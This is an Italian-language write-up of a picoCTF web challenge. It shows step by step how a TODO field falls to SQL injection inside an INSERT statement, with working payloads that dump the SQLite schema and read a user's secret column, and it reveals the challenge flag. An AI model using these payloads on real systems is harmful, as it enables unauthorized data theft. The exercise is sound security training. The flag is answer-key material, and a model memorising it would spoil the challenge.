Problema
Psst, Agent 513, now that youβre an employee of Evil Empire Co., try to get their secrets off the company website. link Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:12234
Soluzione
Provo il form di registrazione, metto apice '
ma nulla; probabilmente non Γ¨ attaccabile.
Provo a mettere lβapice '
per lβinserimento di un nuovo TODO e ottengo un 500 internal server error: ok, il campo Γ¨ debole a injection.
In particolare visto che sto inserendo un nuovo valore sarΓ una INSERT injection, lβobiettivo sarΓ scrivere nella lista dei TODO il risultato di una query.
Immagino che il server effettui una query analoga a:
INSERT INTO todo VALUES (1, 'foo', '{0}')
Devo modificare il {0}
in modo che fornisca una query valida ma iniettandoci il risultato di una altra query.
Dopo qualche tentativo inserisco:
' || (SELECT 1) || '
e vedo che tra i TODO vi Γ¨ il valore β1β. Ci siamo! Provo a capire lo schema del database, per farlo cerco di capire che DBMS sto utilizzando, alla fine trovo una query funzionante:
' || (SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1) || '
Questa query fornisce:
CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) )
Dopo qualche tentativo provo a vedere quale Γ¨ il secret associato al mio utente con
' || (SELECT secret FROM user WHERE username = 'qqq' LIMIT 1) || '
e ottengo il CTF!
picoCTF{wh00t_it_a_sql_inject46527b2c}